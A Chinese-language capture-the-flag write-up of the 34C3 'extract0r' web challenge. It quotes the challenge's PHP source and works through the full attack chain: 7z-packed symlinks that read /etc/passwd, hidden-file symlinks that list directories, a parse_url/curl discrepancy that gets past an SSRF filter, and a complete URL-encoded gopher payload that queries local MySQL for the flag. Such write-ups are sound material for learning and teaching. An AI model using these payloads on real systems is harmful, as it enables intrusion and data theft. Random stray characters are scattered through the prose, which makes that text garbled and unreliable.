34c3 web extract0r!
這道題目比賽的時候做了差不多兩天都沒做出來,過完元旦抽了差不多一天半的時間研究了一下這道題,大概從一個萌新的視界講一下這道題目的一個邏輯。
題目的源碼已經(jīng)放出來了婚瓜,感興趣的可以去github上看一下
https://github.com/eboda/34c3ctf/tree/master/extract0r
任意文件讀取
上來頁面很簡單,一個可以上傳壓縮文件的頁面。
點擊extract it!可以完成解壓呕童。
這里很容易想到之前pwnhub也出過的一個題目,通過軟鏈接來達到任意文件讀取淆珊。但是tar格式的壓縮文件卻解壓失敗了夺饲。
嘗試以后會發(fā)現(xiàn)這個是一個7z格式的文件解壓。
ln -s /etc/passwd a
7z a -t7z 1.7z a
讀取源碼
- index.php
<?php
session_start();
include "url.php";
function get_directory($new=false) {
if (!isset($_SESSION["directory"]) || $new) {
$_SESSION["directory"] = "files/" . sha1(random_bytes(100));
}
$directory = $_SESSION["directory"];
if (!is_dir($directory)) {
mkdir($directory);
}
return $directory;
}
function clear_directory() {
$dir = get_directory();
$files = glob($dir . '/*');
foreach($files as $file) {
if(is_file($file) || is_link($file)) {
unlink($file);
} else if (is_dir($file)) {
rmdir($file);
}
}
}
function verify_archive($path) {
$res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
$line = strtok($res, "\n");
$file_cnt = 0;
$total_size = 0;
while ($line !== false) {
preg_match("/^Size = ([0-9]+)/", $line, $m);
if ($m) {
$file_cnt++;
$total_size += (int)$m[1];
}
$line = strtok( "\n" );
}
if ($total_size === 0) {
return "Archive's size 0 not supported";
}
if ($total_size > 1024*10) {
return "Archive's total uncompressed size exceeds 10KB";
}
if ($file_cnt === 0) {
return "Archive is empty";
}
if ($file_cnt > 5) {
return "Archive contains more than 5 files";
}
return 0;
}
function verify_extracted($directory) {
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}
function decompress($s) {
$directory = get_directory(true);
$archive = tempnam("/tmp", "archive_");
file_put_contents($archive, $s);
$error = verify_archive($archive);
if ($error) {
unlink($archive);
error($error);
}
shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
unlink($archive);
return verify_extracted($directory);
}
function error($s) {
clear_directory();
die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}
$msg = "";
if (isset($_GET["url"])) {
$page = get_contents($_GET["url"]);
if (strlen($page) === 0) {
error("0 bytes fetched. Looks like your file is empty.");
} else {
$deleted_dirs = decompress($page);
$msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";
if ($deleted_dirs > 0) {
$msg .= "<h3>WARNING:</h3> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
}
}
}
?>
<html>
<head><title>extract0r!</title></head>
<body>
<form>
<h1>extract0r - secure file extraction service</h1>
<p><b>Your Archive:</b></p>
<p><input type="text" size="100" name="url"></p>
<p><input type="submit" value="Extract it!"></p>
</form>
<p>Your extracted files will appear <a href="<?= htmlspecialchars(get_directory()) ?>">here</a>.</p>
<?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
</body>
</html>
- url.php
<?php
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);
return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
}
function get_port($url_parts) {
if (array_key_exists("port", $url_parts)) {
return $url_parts["port"];
} else if (array_key_exists("scheme", $url_parts)) {
return $url_parts["scheme"] === "https" ? 443 : 80;
} else {
return 80;
}
}
function clean_parts($parts) {
// oranges are not welcome here
$blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
if (array_key_exists("scheme", $parts)) {
$parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
}
if (array_key_exists("user", $parts)) {
$parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
}
if (array_key_exists("pass", $parts)) {
$parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
}
if (array_key_exists("host", $parts)) {
$parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
}
return $parts;
}
function rebuild_url($parts) {
$url = "";
$url .= $parts["scheme"] . "://";
$url .= !empty($parts["user"]) ? $parts["user"] : "";
$url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
$url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
$url .= $parts["host"];
$url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
$url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
$url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
$url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";
return $url;
}
function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
"10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8",
"172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
"255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24",
"198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ];
for ($i = 0; $i < 5; $i++) {
$url_parts = clean_parts(parse_url($url));
if (!$url_parts) {
error("Couldn't parse your url!");
}
if (!array_key_exists("scheme", $url_parts)) {
error("There was no scheme in your url!");
}
if (!array_key_exists("host", $url_parts)) {
error("There was no host in your url!");
}
$port = get_port($url_parts);
$host = $url_parts["host"];
$ip = gethostbynamel($host)[0];
if (!filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
error("Couldn't resolve your host '{$host}' or
the resolved ip '{$ip}' is blacklisted!");
}
foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
error("That IP is in a blacklisted range ({$cidr})!");
}
}
// all good, rebuild url now
$url = rebuild_url($url_parts);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip));
curl_setopt($curl, CURLOPT_PORT, $port);
$data = curl_exec($curl);
if (curl_error($curl)) {
error(curl_error($curl));
}
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}
}
error("More than 5 redirects!");
}
任意列目錄
兩天被卡在這個點上面也是萌萌噠了施符。往声。。比賽時候一直想著繞過url.php等等的事情戳吝,或者讀一些敏感文件浩销,沒去想著列目錄。
function verify_extracted($directory) {
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}
當(dāng)時以為這個限制的很好了听哭,就沒多想慢洋。。陆盘。
復(fù)現(xiàn)的時候一直在想怎么猜到的flag在mysql里普筹,直到隨手一試發(fā)現(xiàn)glob函數(shù)是有問題的。隘马。太防。
也就是說
$files = glob($directory . '/*');
這句話,是不會顯示隱藏文件的酸员,所以如果我們軟鏈接生成的是一個隱藏文件蜒车,那么就不會被這個函數(shù)發(fā)現(xiàn),這樣就能軟鏈接一個目錄來達到任意列目錄的目的沸呐。
ln -s /home/extract0r/ .a
7z a -t7z 2.7z .a
這樣就能找到出題人故意留下的線索醇王,一個備份用的sh文件。
- create_a_backup_of_my_supersecret_flag.sh
#!/bin/sh
echo "[+] Creating flag user and flag table."
mysql -h 127.0.0.1 -uroot -p <<'SQL'
CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `flag`;
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` VARCHAR(100)
);
CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
SQL
echo -n "[+] Please input the flag:"
read flag
mysql -h 127.0.0.1 -uroot -p <<SQL
INSERT INTO flag.flag VALUES ('$flag');
SQL
echo "[+] Flag was succesfully backed up to mysql!"
SSRF
- 看這個sh文件可以發(fā)現(xiàn)崭添,flag在數(shù)據(jù)庫中寓娩,同時有一個無密碼的m4st3r_ov3rl0rd用戶可以訪問這個數(shù)據(jù)庫。因為mysql是支持tcp方式建立連接的呼渣,所以如果我們能發(fā)送一個構(gòu)造的tcp包棘伴,就能做到和本地的3306端口通訊。這里值得注意的一點是屁置,mysql的登錄是挑戰(zhàn)應(yīng)答認證機制焊夸,認證時server端會隨機發(fā)送一個salt,因此如果m4st3r_ov3rl0rd用戶是有密碼的蓝角,就沒法在非交互的情況下完成tcp的連接阱穗。
- 如何發(fā)送tcp包饭冬??通過gopher協(xié)議可以直接發(fā)送一個tcp包的exp揪阶。
- 因為index.php會將curl請求到的數(shù)據(jù)昌抠,用7z進行解壓,所以我們還需要人為構(gòu)造一個7z能解壓的文件鲁僚。
- url.php限制了訪問內(nèi)網(wǎng)炊苫,需要繞過url.php
繞過url.php
不得不說,這個url.php是一個我看來很完善的防止ssrf的腳本冰沙。繞過url.php的方法在php的curl本身上侨艾。繞過的核心問題是,php的parse_url和curl對于url的解析存在不同拓挥。
- 官方給出的繞過是這樣的:
gopher://foo@[cafebabe.cf]@yolo.com:3306/
parse_url認為host是yolo.com
但是curl卻認為host是[cafebabe.cf] - 在rfc3986中是這樣定義host的:
host = IP-literal / IPv4address / reg-name
然后有這么一段話
A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture ) "]"
也就是說[cafebabe.cf]
這種類型是rfc規(guī)定的一種host的形式唠梨,但是里面不應(yīng)該是reg-name形式的東西。curl識別了[]撞叽,因此把這個當(dāng)做了host姻成。
- rr大佬的繞過是這樣的
gopher://foo@localhost:f@ricterz.me:3306
這個我大致的猜測是curl認為foo是userinfo段,然后localhost是host段愿棋,碰到:停止獲取科展,就獲得了localhost。不過這個payload在我本地7.47的php curl中沒有成功糠雨。遠程應(yīng)該是7.52才睹。 - 對于curl和parse_url如何解析url,我做了一些測試以后甘邀,大致感覺curl的解析是從左至右找的host琅攘,而parse_url則是從右至左的找的host。
- 對于指定3306端口松邪,因為
$blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
這個的緣故坞琴,orange師傅在blackhat上的那個slide里的一些姿勢都不能用,比如
因此逗抑,port只能放在最后的位置剧辐。還有這上面這個payload在php curl7.47里也不行,不知道為什么低版本反倒比高版本不容易繞過
mysql構(gòu)造壓縮包
- 因為index.php會將拿到的數(shù)據(jù)用7z解壓邮府,所以我們不能只select一個flag荧关,而是要select出一個壓縮包的文件。但用mysql實現(xiàn)一個壓縮算法什么的把找出來的flag壓縮應(yīng)該是不太可行的褂傀。忍啤。。我的第一反應(yīng)是類似tar的打包仙辟。就是我們放的是無損的數(shù)據(jù)就不會存在這個問題同波。
- tar和zip都有這樣的功能鳄梅,zip的-n參數(shù)可以不壓縮具有特定字尾字符串的文件。
-
這樣就可以先構(gòu)造一個比如100個'A'的文件参萄,然后用zip -n的方式壓縮它卫枝,效果如圖:
- 然后可以通過把select出來的flag替換到對應(yīng)的位置,萬幸的是crc校驗不對7z也能夠解壓23333
- 這樣的話讹挎,flag前后,我們可以用cast把這個構(gòu)造的壓縮包的內(nèi)容依葫蘆畫瓢轉(zhuǎn)化成字節(jié)吆玖,然后用concat把前后加flag的內(nèi)容拼起來就ok了筒溃。
echo "use flag;SELECT cast(concat(0x504B03040A00000000000E4F244C8DBC9795640000006400000001001C00325554090003CB894D5AD7894D5A75780B000104E803000004E8030000,rpad(flag,100,'A'),0x504B01021E030A00000000000E4F244C8DBC97956400000064000000010018000000000000000000A48100000000325554050003CB894D5A75780B000104E803000004E8030000504B05060000000001000100470000009F0000000000) AS BINARY) from flag;"|mysql -h127.0.0.1 -um4st3r_ov3rl0rd
構(gòu)造tcp包
- tcp包的構(gòu)造,可以像官方給的exp一樣沾乘,通過實現(xiàn)mysql的tcp通信方式來直接構(gòu)造怜奖;也可以取巧一點,通過抓包的方式獲得翅阵。
- mysql的通信歪玲,可以參考這篇http://www.jb51.net/article/131681.htm
- 抓包的話有一個比較坑的地方,搞的我之前怎么抓也沒抓到掷匠。就是你本地使用mysql的時候使用Unix套接字來通信的滥崩。需要加一個
-h127.0.0.1
的參數(shù)才是通過tcp來通信。 -
抓到包以后把發(fā)送給server的提取出來讹语,保存它的hex值就好了钙皮。
先抓包再研究mysql的通信過程也是個不錯的選擇。
gopher發(fā)包
這部分很簡單顽决,把剛剛提取到的hex值變成url編碼的形式短条,加上gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_
就大功告成了。
最后的payload是
gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_%AD%00%00%01%85%A2%BF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6D%34%73%74%33%72%5F%6F%76%33%72%6C%30%72%64%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%65%03%5F%6F%73%05%4C%69%6E%75%78%0C%5F%63%6C%69%65%6E%74%5F%6E%61%6D%65%08%6C%69%62%6D%79%73%71%6C%04%5F%70%69%64%04%31%38%39%35%0F%5F%63%6C%69%65%6E%74%5F%76%65%72%73%69%6F%6E%06%35%2E%37%2E%32%30%09%5F%70%6C%61%74%66%6F%72%6D%06%78%38%36%5F%36%34%0C%70%72%6F%67%72%61%6D%5F%6E%61%6D%65%05%6D%79%73%71%6C%21%00%00%00%03%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%5F%63%6F%6D%6D%65%6E%74%20%6C%69%6D%69%74%20%31%12%00%00%00%03%53%45%4C%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%66%6C%61%67%72%01%00%00%03%53%45%4C%45%43%54%20%63%61%73%74%28%63%6F%6E%63%61%74%28%30%78%35%30%34%42%30%33%30%34%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%43%30%30%33%32%35%35%35%34%30%39%30%30%30%33%43%42%38%39%34%44%35%41%44%37%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%2C%72%70%61%64%28%66%6C%61%67%2C%31%30%30%2C%27%41%27%29%2C%30%78%35%30%34%42%30%31%30%32%31%45%30%33%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%41%34%38%31%30%30%30%30%30%30%30%30%33%32%35%35%35%34%30%35%30%30%30%33%43%42%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%35%30%34%42%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%34%37%30%30%30%30%30%30%39%46%30%30%30%30%30%30%30%30%30%30%29%20%41%53%20%42%49%4E%41%52%59%29%20%66%72%6F%6D%20%66%6C%61%67%01%00%00%00%01
最后的一點是才菠,你抓包的話不難發(fā)現(xiàn)mysql除了返回給你值茸时,在前面還會有一些信息,但是7z牛逼啊赋访,不管前面的內(nèi)容也能給你解壓出來23333